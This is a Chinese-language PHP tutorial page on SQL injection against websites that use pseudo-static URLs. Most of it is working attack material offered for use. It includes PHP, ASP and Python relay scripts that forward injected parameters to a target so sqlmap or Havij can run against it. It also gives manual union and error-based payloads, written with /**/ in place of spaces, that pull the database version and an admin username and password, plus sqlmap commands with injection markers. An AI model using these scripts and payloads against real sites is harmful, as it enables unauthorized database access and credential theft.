PHP针对伪静态的注入总结【附asp与Python相关代码】


Posted in PHP onAugust 01, 2017

本文实例讲述了PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
人大复印资料处理程序_输入篇
Oct 09 PHP
PHP 长文章分页函数 带使用方法,不会分割段落,翻页在底部
Oct 22 PHP
创建配置文件 用PHP写出自己的BLOG系统 2
Apr 12 PHP
领悟php接口中interface存在的意义
Jun 27 PHP
PHP中使用sleep函数实现定时任务实例分享
Aug 21 PHP
实现PHP+Mysql无限分类的方法汇总
Mar 02 PHP
php使用MySQL保存session会话的方法
Jun 26 PHP
yii权限控制的方法(三种方法)
Dec 28 PHP
php简单解析mysqli查询结果的方法(2种方法)
Jun 29 PHP
PHP数组的定义、初始化和数组元素的显示实现代码
Nov 05 PHP
CentOS 上搭建 PHP7 开发测试环境
Feb 26 PHP
Laravel 的数据库迁移的方法
Jul 31 #PHP
PHP实现webshell扫描文件木马的方法
Jul 31 #PHP
PHP/ThinkPHP实现批量打包下载文件的方法示例
Jul 31 #PHP
Thinkphp结合AJAX长轮询实现PC与APP推送详解
Jul 31 #PHP
php实现将二维关联数组转换成字符串的方法详解
Jul 31 #PHP
微信接口生成带参数的二维码
Jul 31 #PHP
PHP判断一个数组是另一个数组子集的方法详解
Jul 31 #PHP
You might like
PHP文件去掉PHP注释空格的函数分析(PHP代码压缩)
2013/07/02 PHP
PHP统计目录大小的自定义函数分享
2014/11/18 PHP
PHP下载生成的csv文件及问题总结
2015/08/06 PHP
PHP数学运算与数据处理实例分析
2016/04/01 PHP
PHP代码重构方法漫谈
2018/04/17 PHP
Aster vs Newbee BO5 第二场2.19
2021/03/10 DOTA
document.all还是document.getElementsByName?
2006/07/21 Javascript
用jscript启动sqlserver
2007/06/21 Javascript
小型js框架veryide.librar源代码
2009/03/05 Javascript
javascript中的注释使用与注意事项小结
2011/09/20 Javascript
JSCode all of Brower 全局屏蔽网页右键功能 具体实现
2013/06/05 Javascript
Javascript 遍历页面text控件详解
2014/01/06 Javascript
JavaScript的null和undefined区别示例介绍
2014/09/15 Javascript
SuperSlide标签切换、焦点图多种组合插件
2015/03/14 Javascript
常见的javascript跨域通信方法
2015/12/31 Javascript
JS实现数字格式千分位相互转换方法
2016/08/01 Javascript
jQuery学习笔记——jqGrid的使用记录(实现分页、搜索功能)
2016/11/09 Javascript
angular-ui-sortable实现可拖拽排序列表
2016/12/28 Javascript
JavaScript实现左右下拉框动态增删示例
2017/03/09 Javascript
jQuery实现火车票买票城市选择切换功能
2017/09/15 jQuery
详解nodejs通过响应回写的方式渲染页面资源
2018/04/07 NodeJs
node+express框架中连接使用mysql(经验总结)
2018/11/10 Javascript
python连接oracle数据库实例
2014/10/17 Python
Python命令行参数解析模块optparse使用实例
2015/04/13 Python
Python读写文件基础知识点
2019/06/10 Python
Python 项目转化为so文件实例
2019/12/23 Python
洲际酒店集团美国官网:IHG美国
2017/11/16 全球购物
洛佩桑酒店官方网站:Lopesan Hotels
2019/04/15 全球购物
在校生自我鉴定
2014/01/23 职场文书
医学生自我评价
2014/01/27 职场文书
房产公证委托书范本
2014/09/20 职场文书
2014年师德师风自我剖析材料
2014/09/27 职场文书
党员群众路线整改措施及今后努力方向
2014/10/28 职场文书
2015年新农村建设工作总结
2015/05/22 职场文书
贷款工作证明模板
2015/06/12 职场文书
2016年第十四个公民道德宣传日活动总
2016/04/01 职场文书